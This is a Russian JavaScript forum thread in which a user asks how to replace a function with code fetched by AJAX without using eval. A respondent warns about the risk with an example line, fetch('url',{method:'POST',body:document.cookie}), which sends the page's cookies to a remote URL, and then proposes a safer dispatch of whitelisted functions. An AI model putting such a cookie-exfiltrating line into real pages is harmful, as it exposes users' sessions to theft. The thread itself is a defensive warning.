Javascript.RU

Создать новую тему Ответ
 
Опции темы Искать в теме
  #1 (permalink)  
Старый 28.11.2019, 16:57
Новичок на форуме
Отправить личное сообщение для pakko Посмотреть профиль Найти все сообщения от pakko
 
Регистрация: 28.11.2019
Сообщений: 9

замена функции

Есть функия
f=function(){alert("1")}

через AJAX я получаю строку
'f=function(){alert("2")}'

вопрос. простым заменой текста на странице пробовал, всё-равно запускается старая функция. Вопрос - как заменить старую функцию на новую?
Вариант eval не предлагать
Ответить с цитированием
  #2 (permalink)  
Старый 28.11.2019, 17:01
Аватар для рони
Профессор
Отправить личное сообщение для рони Посмотреть профиль Найти все сообщения от рони
 
Регистрация: 27.05.2010
Сообщений: 33,075

pakko,
f=function(){alert("1")}
eval('f=function(){alert("2")}')
f()
Ответить с цитированием
  #3 (permalink)  
Старый 28.11.2019, 17:12
Профессор
Отправить личное сообщение для laimas Посмотреть профиль Найти все сообщения от laimas
 
Регистрация: 14.01.2015
Сообщений: 12,990

pakko, а если такая строка придет - fetch('url',{method:'POST',body:document.cookie})?
Ответить с цитированием
  #4 (permalink)  
Старый 28.11.2019, 17:34
Новичок на форуме
Отправить личное сообщение для pakko Посмотреть профиль Найти все сообщения от pakko
 
Регистрация: 28.11.2019
Сообщений: 9

Сообщение от laimas Посмотреть сообщение
pakko, а если такая строка придет - fetch('url',{method:'POST',body:document.cookie})?
И что это даст?
Ответить с цитированием
  #5 (permalink)  
Старый 28.11.2019, 17:35
Новичок на форуме
Отправить личное сообщение для pakko Посмотреть профиль Найти все сообщения от pakko
 
Регистрация: 28.11.2019
Сообщений: 9

Сообщение от рони Посмотреть сообщение
pakko,
f=function(){alert("1")}
eval('f=function(){alert("2")}')
f()
Так как раз хочу от eval уйти
Ответить с цитированием
  #6 (permalink)  
Старый 28.11.2019, 17:37
Профессор
Отправить личное сообщение для laimas Посмотреть профиль Найти все сообщения от laimas
 
Регистрация: 14.01.2015
Сообщений: 12,990

Сообщение от pakko
И что это даст?
Куки заинтересованным уплывут или не понятно?
Ответить с цитированием
  #7 (permalink)  
Старый 28.11.2019, 18:04
Новичок на форуме
Отправить личное сообщение для pakko Посмотреть профиль Найти все сообщения от pakko
 
Регистрация: 28.11.2019
Сообщений: 9

Немного непонятно.
Смысл такой, я с сервера загружаю методом POST несколько функций, которые надо заменить. как тогда сделать fetch для нескольких.

Мне цель не куки отправить, а заменить локально функцию на другую.
Ответить с цитированием
  #8 (permalink)  
Старый 28.11.2019, 18:32
Профессор
Отправить личное сообщение для laimas Посмотреть профиль Найти все сообщения от laimas
 
Регистрация: 14.01.2015
Сообщений: 12,990

Да на здоровье, но если вы таким образом определяете действия на клиенте, то одновременно определяете и потенциальную уязвимость его. Конечно же самому себе вы не собираетесь вредить, а вот через такую "дыру" могут вредить другие.

Почему бы не определить функции на клиенте, запуск которых и параметры для которых может определять сервер в зависимости от задач или условий? Сервер возвращает имя функции/функций и ее/их параметров переданных как json:

//определенные функции
const exe = {
    a:function([...a]) {
        console.log(a)
    },
    b:function(a) {
        console.log(a)
    }
};

//ответ сервера в формате json после декодирования
let o = {
    "fn": {
        "a": [1,2,3],
        "b": 5,
        "d": 44 //а это лажа, такого не определено, ничего не произойдет
    }
};

//запуск имеющихся функций
if(o.fn) { //если в ответе севера определен запуск функций
    for(let f in o.fn) exe[f] && exe[f](o.fn[f]) //если определено, запускаем
}

Последний раз редактировалось laimas, 29.11.2019 в 03:57.
Ответить с цитированием
  #9 (permalink)  
Старый 28.11.2019, 19:08
Новичок на форуме
Отправить личное сообщение для pakko Посмотреть профиль Найти все сообщения от pakko
 
Регистрация: 28.11.2019
Сообщений: 9

отличный пример. Хорошая идея, но мне в этом случае не поможет.
Просто хочется для каждой страницы писать собственную функцию.
Как говориться, чтобы на каждой странице подгружалось нужное.
И хочется чтобы при этом вся страница не перегружалась,
Ответить с цитированием
  #10 (permalink)  
Старый 28.11.2019, 19:10
Профессор
Отправить личное сообщение для laimas Посмотреть профиль Найти все сообщения от laimas
 
Регистрация: 14.01.2015
Сообщений: 12,990

Сообщение от pakko
для каждой страницы писать собственную функцию
Пишите, размещайте в теле страницы, какие проблемы, зачем же их асинхронно запрашивать у сервера.
Ответить с цитированием
Ответ



Опции темы Искать в теме
Искать в теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Замена аргумента в круглых скобках после функции Lol9999 Events/DOM/Window 8 12.01.2016 21:02
Изменение прототипа функции tsigel Общие вопросы Javascript 11 15.05.2014 01:03
замена в функции Vampir3 Общие вопросы Javascript 5 27.06.2013 01:41
arguments вызвавшей функции mister_maxim Общие вопросы Javascript 4 12.10.2010 16:21
замена функции confirm mrWong Общие вопросы Javascript 1 02.08.2010 23:26